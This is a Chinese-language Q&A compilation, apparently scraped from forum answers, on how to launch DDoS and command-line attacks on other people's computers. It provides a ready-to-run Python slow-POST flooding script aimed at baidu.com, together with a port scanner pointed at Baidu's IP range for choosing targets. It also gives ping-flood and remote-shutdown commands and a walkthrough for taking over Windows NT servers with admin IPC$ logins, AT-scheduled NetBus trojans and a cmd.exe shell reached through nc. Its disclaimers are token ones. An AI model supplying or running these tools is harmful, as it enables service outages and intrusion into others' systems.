如何进行DDOS攻击怎么做
会Python吗?下一个Python3.7.0-3.7.3,把代码复制下,粘贴即可
代码:
import socket
import time
import threading
#Pressure Test,ddos tool
#---------------------------
MAX_CONN=20000
PORT=80
HOST="baidu.com"#在双引号里输入对方IP或域名,要保证他联网了或开机了,这里拿百度做示范(别运行!不然后果自负!!)
PAGE="/index.php"
#---------------------------
buf=("POST %s HTTP/1.1\r\n"
"Host: %s\r\n"
"Content-Length: 10000000\r\n"
"Cookie: dklkt_dos_test\r\n"
"\r\n" % (PAGE,HOST))
socks=[]
def conn_thread():
global socks
for i in range(0,MAX_CONN):
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
try:
s.connect((HOST,PORT))
s.send(buf.encode())
print ("Send buf OK!,conn=%d\n"%i)
socks.append(s)
except Exception as ex:
print ("Could not connect to server or send error:%s"%ex)
time.sleep(10)
#end def
def send_thread():
global socks
while True:
for s in socks:
try:
s.send("f".encode())
#print "send OK!"
except Exception as ex:
print ("Send Exception:%s\n"%ex)
socks.remove(s)
s.close()
time.sleep(1)
#end def
conn_th=threading.Thread(target=conn_thread,args=())
send_th=threading.Thread(target=send_thread,args=())
conn_th.start()
send_th.start()
如果你要攻击网站,以上代码虽然可行,但是,攻击效果很不好。
所以,最好用Windows里的PING进行检测
操作:
在Windows搜索栏里输入:cmd
输入:
ping -n 10 -l 1 baidu.com
//这里拿百度做示范,别真打百度!
那么,就会发现,系统反映了:
正在 Ping baidu.com [39.156.69.79] 具有 1 字节的数据:
来自 39.156.69.79 的回复: 字节=1 时间=27ms TTL=52
来自 39.156.69.79 的回复: 字节=1 时间=26ms TTL=52
来自 39.156.69.79 的回复: 字节=1 时间=27ms TTL=52
来自 39.156.69.79 的回复: 字节=1 时间=27ms TTL=52
来自 39.156.69.79 的回复: 字节=1 时间=27ms TTL=52
来自 39.156.69.79 的回复: 字节=1 时间=27ms TTL=52
来自 39.156.69.79 的回复: 字节=1 时间=29ms TTL=52
来自 39.156.69.79 的回复: 字节=1 时间=26ms TTL=52
来自 39.156.69.79 的回复: 字节=1 时间=27ms TTL=52
来自 39.156.69.79 的回复: 字节=1 时间=27ms TTL=52
39.156.69.79 的 Ping 统计信息:
数据包: 已发送 = 10,已接收 = 10,丢失 = 0 (0% 丢失),
往返行程的估计时间(以毫秒为单位):
最短 = 26ms,最长 = 29ms,平均 = 27ms
说明,百度的服务器有一个主服务器是39.156.69.79
那么,就来查找百度的所有服务器吧!
输入以下代码:
#绝大多数成功的网络攻击都是以端口扫描开始的,在网络安全和黑客领域,端口扫描是经常用到的技术,可以探测指定主机上是否
#开放了指定端口,进一步判断主机是否运行了某些重要的网络服务,最终判断是否存在潜在的安全漏洞,从一定意义上将也属于系统运维的范畴
#端口扫描器程序:模拟端口扫描器的工作原理,并采用多进程技术提高扫描速度
import socket
import sys
import multiprocessing
import time as t
def ports(ports_serve):
#获取常用端口对应的服务名称
for port in list(range(1,100))+[143,145,113,443,445,3389,8080]:
try:
ports_serve[port]=socket.getservbyport(port)
except socket.error:
pass
def ports_scan(host,ports_service):
ports_open=[]
try:
sock=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
#超时时间的不同会影响扫描结果的精确度
socket.timeout(0.01)
except socket.error:
print('socket creation error')
sys.exit()
for port in ports_service:
try:
#尝试连接指定端口
sock.connect((host,port))
#记录打开的端口
ports_open.append(port)
sock.close()
except socket.error:
pass
return ports_open
if __name__ == '__main__':
m=multiprocessing.Manager()
ports_service=dict()
results=dict()
ports(ports_service)
#创建进程池,允许最多8个进程同时运行
pool = multiprocessing.Pool(processes=8)
net = '39.156.69.'#后面的IP少一个,因为要扫描这段区域内的IP,从而进行攻击
for host_number in map(str,range(8,10)):
host = net + host_number
#创建一个新进程,同时记录其运行结果
results[host] = pool.apply_async(ports_scan,(host,ports_service))
print('starting '+host+'...')
#关闭进程池,close()必须在join()之前调用
pool.close()
#等待进程池中的进程全部执行结束
pool.join()
#打印输出结果
for host in results:
print('='*30)
print(host,'.'*10)
for port in results[host].get():
print(port,':',ports_service[port])
你会发现,Python反映了:
starting 39.156.69.8...
starting 39.156.69.9...
//并不是指百度只有这两个服务器!而是我们目前只能扫描到两个!
接着,运行DDoS攻击程序,把IP分别改为39.156.69.8和39.156.69.9
就可以实现DDoS攻击了。
//注:请不要用于违法用途,并且不要随意进行攻击。如想使用,可攻击虚拟机,但不要攻击外网IP和域名!!!
如何用CMD攻击别人电脑
首先,电脑的系统要相同(这样防火墙的等级相同);
其次,所针对的电脑要在一个网域;
方法:
开始菜单—运行—输入CMD—回车,然后在打开的命令提示符窗口中输入:
shutdown -s -m \\ip地址 ,回车即可。
具体命令,参照:http://zhidao.baidu.com/question/1817633159546503908.html?fr=iksword=cmd%B9%A5%BB%F7%C3%FC%C1%EEie=gbk
什么是DOS攻击,DOS攻击的命令有哪些,攻击的方式有哪些?
DOS,是Denial of Service的简称,即拒绝服务,不是DOS操作系统,造成DOS的攻击行为被称为DOS攻击,其目的是使计算机或网络无法提供正常的服务。最常见的DOS攻击有计算机网络带宽攻击和连通性攻击。
DOS攻击类型有哪些?常见方式如下:
SYN FLOOD
利用服务器的连接缓冲区,利用特殊的程序,设置TCP的header,向服务器端不断地成倍发送只有SYN标志的TCP连接请求。当服务器接收的时候,都认为是没有建立起来的连接请求,于是为这些请求建立会话,排到缓冲区队列中。
如果SYN请求超过了服务器能容纳的限度,缓冲区队列满,那么服务器就不再接收新的请求;其他合法用户的连接都被拒绝,可以持续SYN请求发送,直到缓冲区中都是自己的只有SYN标志的请求。
IP欺骗
DOS攻击这种攻击利用RST位来实现的,比如现在有一个合法用户已经同服务器建立正常连接,攻击者构造攻击的TCP数据,伪装自己的IP为正常ip,向服务器发送一个带有RST位的TCP数据段。服务器接收到这样的数据后,认为从合法用户发送的连接有错误,就会清空缓冲区中建立好的连接。这时,如果合法用户再发送合法数据,服务器就已经没有这样的连接了,该用户必须重新开始建立连接。
带宽DOS攻击
如果连接带宽足够大而服务器又不是很大,可以发送请求,来消耗服务器的缓冲区消耗服务器的带宽。这种攻击就是人多力量大,配合上SYN一起实施DOS,威力巨大。
自身消耗的DOS攻击
这种是老式的攻击手法。说老式,是因为老式的系统有这样的自身BUG,比如win 95这样的系统。这种DOS攻击就是把请求客户端IP和端口弄成主机的IP端口相同,发送给主机。使得主机给自己发送TCP请求和连接。这种主机的漏洞会很快地把资源消耗光,直接导致宕机。这种伪装对一些身份认证系统威胁还是很大的。
塞满服务器的硬盘
如果服务器可以没有限制地执行写操作,那么都能成为塞满硬盘造成DOS攻击的途径:
1、发送垃圾邮件:一般公司的服务器可能把邮件服务器和Web服务器都放在一起,破坏者可以发送大量的垃圾邮件,这些邮件可能都塞在一个邮件队列中或者就是坏邮件队列中,直到邮箱被撑破或者把硬盘塞满。
2、让日志记录满:入侵者可以构造大量的错误信息发送出来,服务器记录这些错误,可能就造成日志文件非常庞大,甚至会塞满硬盘。同时会让管理员痛苦地面对大量的日志,甚至就不能发现入侵者真正的入侵途径。
3、向匿名FTP塞垃圾文件,这样也会塞满硬盘空间。
请问怎样用CMD命令通过ip攻击别人?
cmd 攻击一般都是局域网内攻击 外网是DDOS攻击 局域网内攻击首先你得知道IP 攻击可以使用PING包 PING死他 cmd -ping xxx.xxx.xxx.xxx 空格 -l 空格 -n 空格 65000s (X代表Ip地址)
cmd攻击别人电脑命令,
工欲善其事,必先利其器”——当然不是让你再满世界去找新的黑客软件啦(其实我不反对使用这些软件,相反我很喜欢用它们,但是必须是在知其所以然的情况下使用,才有可能对自身的电脑水平有所帮助),要进行入侵工作的话,至少(我认为)得装上NT操作系统,以它作为入侵平台,因为NT本身对网络的支持可以说比WIN9X来得更强大得多……当然,如果想对UNIX系统动点小手术(网络中的UNIX可始终还是主流呀)而又没钱装UNIX的话,LINUX也极佳的选择(特别是现在国内至少有七八种中文LINUX版本——想当年要给REDHAT配上中文支持是何等麻烦……),至少你可以借此了解UNIX系统的基本操作以及文件存放位置、系统配置、编译器、各种动作之后的记录等等……
然后还得再学点编程语言,至少C与UNIX下的SHELL编程得会一点,能看懂人家写的利用各种漏洞的程序,能对它进行修改,偶尔还能写几个小程序放到网上让大伙儿乐乐,这样玩起来才可能有成就感(其实我自己还不太行,但这多少是个目标)
好了,废话少说,先讲讲一些MS系统里自带的相关网络程序的使用吧。
在MS的操作系统中,与网络安全较有关系的几个命令/程序是:ping\winipcfg\tracert\net\at\netstat,且待我慢慢道来:
1. ping:这是TCP/IP协议中最有用的命令之一
它给另一个系统发送一系列的数据包,该系统本身又发回一个响应,这条实用程序对查找远程主机很有用,它返回的结果表示是否能到达主机,宿主机发送一个返回数据包需要多长时间。
Usage: ping [-t] [-a] [-n count] [-l size] [-f] [-i TTL] [-v TOS]
[-r count] [-s count] [[-j host-list] | [-k host-list]]
[-w timeout] destination-list
Options:
-t Ping the specifed host until interrupted.(除非人为中止,否则一直ping下去)
-a Resolve addresses to hostnames.(把IP转为主机名)
-n count Number of echo requests to send.(响应请求的数量)
-l size Send buffer size.(封包的大小)
-f Set Don't Fragment flag in packet.(信息包中无碎片)
-i TTL Time To Live.(时间)
-v TOS Type Of Service.(服务类型)
-r count Record route for count hops.
-s count Timestamp for count hops.
-j host-list Loose source route along host-list.
-k host-list Strict source route along host-list.(较严格的……唉,怎么译好……算了,放着吧)
-w timeout Timeout in milliseconds to wait for each reply.(timeout的时间)
比如大家可能都知道的一个命令 # ping -f -s 65000 ***.***.***.***或者前阶段大家所谓ping死霉国佬时所用的命令(当然这样只会造成我方自己的网络阻塞)。
其实这个命令主要是用来看对方应答的速度,如果怎么ping 得到的结果都是request time out。那恐怕你根本就不用你去找这台主机了,它不在你的射程之内。
2. winipcfg:
这是用来看自己IP位址的小工具,win98自带,NT里则网络监视器里就能看到IP了,还有个小实用程序叫……好象是叫IPCONFIG吧,没怎么用,都快忘了……这种东东网上其实相当之多,但既然“自带”,又何须外求,何况网上下载的黑客的东东里有没有特洛伊犹未可知,再说了,如果你不是在自己的“爱姬”上运行,岂不是就没法干活?——哈,不好意思,跑题了,但——接着跑两句:可以把一些常用的、经典的工具上传到网上,当作一个备份,什么时候在网吧、某家公司要干活的话,直接下载就是一个完整无缺的工具包了。
这个东东相当简单,直接在DOS下键入命令就是了,没有什么参数。
3. tracert:是验证通往远程主机路径的实用程序
用法: tracert [-d] [-h maximum_hops] [-j host-list] [-w timeout] target_name
参数:
-d Do not resolve addresses to hostnames.(不将IP转为主机名)
-h maximum_hops Maximum number of hops to search for target.(最大跟踪数量)
-j host-list Loose source route along host-list.
-w timeout Wait timeout milliseconds for each reply.(time out 的时间)
最简单的用法就是 tracert hostname 其中hostname是计算机名或你想跟踪其路径的计算机的IP地址。TRACERT将返回数据包借以到达最终目的地的各种IP地址,你知道该怎么利用它吗?
我略为解释一下吧:跟踪通往210.142.192.130的路由,最大30:
第一行:*^%* 我就是从这里出去的(呵,真不想说^^)
第四行:是不是快要出国了呢?
第九行:呀!这是日本鬼子的地盘……
4. net:这可是个非常棒的东西,如果不会用的话,赶紧睁大眼睛噢
这个命令的语法是: 可用的命令包括:
NET ACCOUNTS NET HELP NET SHARE
NET COMPUTER NET HELPMSG NET START
NET CONFIG NET LOCALGROUP NET STATISTICS
NET CONFIG SERVER NET NAME NET STOP
NET CONFIG WORKSTATION NET PAUSE NET TIME
NET CONTINUE NET PRINT NET USE
NET FILE NET SEND NET USER
NET GROUP NET SESSION NET VIEW
NET HELP SERVICES 列出用户可以启动的网络服务。
NET HELP SYNTAX 解释如何阅读 NET HELP 语法行。
NET HELP command | MORE 用于逐屏显示帮助。
我可就不逐样解释了——这样会把我的手指累坏,就说说常用的两个命令吧
a.net view
这个命令的语法是:
NET VIEW [\\computername | /DOMAIN[:domainname]]
NET VIEW /NETWORK:NW [\\computername]
NET VIEW 用于显示一个计算机上共享资源的列表。当不带选项使用本命令时,它就会显示当前域或网络上的计算机上的列表。
\\computername 指用户希望浏览其共享资源的计算机。
/DOMAIN:domainname 指定用户希望浏览有效的计算机所在的域。如果省略了域名,就会显示局域网络上的所有域。
/NETWORK:NW 显示 NetWare 网络上所有可用的服务器。如果指定了一个计算机名,就会显示NetWare 网络中那个计算机上的可用资源。
至于举例嘛,比如你知道一个远程计算机***.***.**.***上有开资源共享,那么运行net view \\***.***.**.*** 就可以了
b.net use
这个命令的语法是:NET USE [devicename | *] [\\computername\sharename[\volume] [password | *]]
[/USER:[domainname\]username]
[[/DELETE] | [/PERSISTENT:{YES | NO}]]
NET USE [devicename | *] [password | *]] [/HOME]
NET USE [/PERSISTENT:{YES | NO}]
NET USE 用于将计算机与共享的资源相连接,或者切断计算机与共享资源的连接。当不带选项使用本命令时,它会列出计算机的连接。
devicename 指定一个名字以便与资源相连接,或者指定要切断的设备。有两种类型的设备名:磁盘驱动器 (D: 至 Z:) 和打印机 (LPT1: 至 LPT3:)。输入一个星号来代替一个指定的设备名可以分配下一个可用设备名。
\\computername 指控制共享资源的计算机的名字。如果计算机名中包含有空字符,就要将双反斜线 (\\) 和计算机名一起用引号 (" ")括起来。计算机名可以有1 到15 个字符。
\sharename 指共享资源的网络名字。
\volume 指定一个服务器上的 NetWare 卷。用户必须安装 Netware 的客户服务(Windows NT 工作站) 或者 Netware 的网关服务 (Windows NT 服务器) 并使之与NetWare 服务器相连。
password 指访问共享资源所需要的密码。
* 进行密码提示。当在密码提示符下输入密码时,密码是不会显示的。
/USER 指定连接时的一个不同的用户名。
domainname 指定另外一个域。如果缺省域,就会使用当前登录的域。
username 指定登录的用户名。
/HOME 将用户与他们的宿主目录相连。
/DELETE 取消一个网络连接,并且从永久连接列表中删除该连接。
/PERSISTENT 控制对永久网络连接的使用。其缺省值是最近使用的设置。
YES 在连接产生时保存它们,并在下次登录时恢复它们。
NO 不保存正在产生的连接或后续的连接;现有的连接将在下次登录时被恢复。可以使用 /DELETE 选项开关来删除永久连接。
PS:前两天在绿色兵团的贴子里见到一位仁兄的话,与这个命令有异曲共工之妙,也说明一个大概:
在浏览器中输入 file:///\\***.***.**.***\c
则网上共享的C盘内容就会显示出来了,就仿佛用浏览器上FTP站点看到的一样。各位不妨试试,还可试试举一反三……
5.at: 排定在特定的日期和时间运行某些命令和程序。
运行 AT 命令之前必须先启动 Schedule 服务。瞧,现炒就得现卖,刚学了net命令,但这个start命令我可没详述,自已看看帮助文件,摸索一下各种命令的用法吧。
C:\net start schedule
Schedule 正在启动服务.....
Schedulw 服务启动成功。
AT [\\computername] [ [id] [/DELETE] | /DELETE [/YES]]
AT [\\computername] time [/INTERACTIVE]
[ /EVERY:date[,...] | /NEXT:date[,...]] "command"
\\computername 指定远程计算机。如果省略这个参数命令会被排定在本机上运行。
id 指定给排定进度命令的识别号。
/delete 删除某个已排定进度的命令。如果省略标识,计算机上所有已排定进度的命令都会被删除。
/yes 用于删除所有作业,且不想在运行删除时显示确认信息 。
time 指定命令运行的时间。
interactive 允许作业在运行时,与用户通过桌面交互。
/every:date[,...] 指定在每周或每月的某日 (或某几日) 运行命令。
如果省略日期,则默认为在每月的本日运行。
/next:date[,...] 指定在下一个指定日期 (如,下周三),运行命令。
如果省略日期,则默认为在每月的本日运行。
"command" 准备运行的 Windows NT 命令或批处理文件。
知道了如何使用AT,再来看看如何在远程NT上运行ntsrv.exe:
1 利用管理员登陆到目的服务器,方法为: net use \\x.x.x.x\ipc$ "adminpwd" /user:"adminuser"
2 利用ntsrv.exe启动远程: netsvc \\x.x.x.x schedule /start
3 利用AT.EXE在远程服务器设置程序定时运行,当然最快运行最理想,所以,你可以用letmein.exe得到服务器的时间,然后:
at \\x.x.x.x 00:00 ntsrv.exe /port:64321
其中00:00要改为用letmein.exe得回来的具体时间+一点容量,等一会后,再在本地启动netbus.exe,键入目的服务器得ip地址或hostname,连接!比如第一种方法,你想要在目的服务器运行诸如病毒之类的东东,可以利用netbus得上传功能,将各种“大补丸”上传至目的服务器,再用netbus的"Start program",键入完整路径,就ok了!第二种方法是利用netbus的“App redirect”功能,启动远程telnet服务,如下:在netbus中击“App redirect”,键入"C:\winnt\system32\cmd.exe",Port为:4321,服务就启动了,然后在本地运行:nc x.x.x.x 4321,出现dos启动的画面就表示连接成功:
Microsoft(R) Windows NT(TM)
(C) Copyright 1985-1996 Microsoft Corp.
C:\
注:这里有一小段是抄KILLUSA的文章——别找我要稿费啊^^
4.netstat 这是一个观察网络连接状态的实用工具。
它能检验IP的当前连接状态,在断定你的基本级通信正在进行后,就要验证系统上的服务。这个服务包括检查正在收听输入的通信量和/或验证你正在创建一个与远程站点的会话,它可以很轻松地做到这一点。网上也可以看到很多如X-netstat之类的工具,是WIN界面的,更加直观而已,并没有多什么功能,这个命令的具体用法如下:
Displays protocol statistics and current TCP/IP network connections.(显示协议与当前网络连接)
NETSTAT [-a] [-e] [-n] [-s] [-p proto] [-r] [interval]
-a Displays all connections and listening ports.(显示所有连接和监听端口)
-e Displays Ethernet statistics. This may be combined with the -s
option.(显示以太连接,可以与-s连用)
-n Displays addresses and port numbers in numerical form.(显示地址和端口)
-p proto Shows connections for the protocol specified by proto; proto
may be TCP or UDP. If used with the -s option to display
per-protocol statistics, proto may be TCP, UDP, or IP.
-r Displays the routing table.
-s Displays per-protocol statistics. By default, statistics are
shown for TCP, UDP and IP; the -p option may be used to specify
a subset of the default.
interval Redisplays selected statistics, pausing interval seconds
between each display. Press CTRL+C to stop redisplaying
statistics. If omitted, netstat will print the current
configuration information once.(interval是设定一个刷新时间,在间隔时间内暂停,按CTRL+C停止……)
这是我在本机未连接网络时运行的,第一列为协议,第二列为本地地址,第三列是与你进行连接的主机或用户的IP位址(IP后冒号之后的数字是端口号),最后一列是状态。这个命令以-n和-a的参数我较常使用,读者可以参考使用。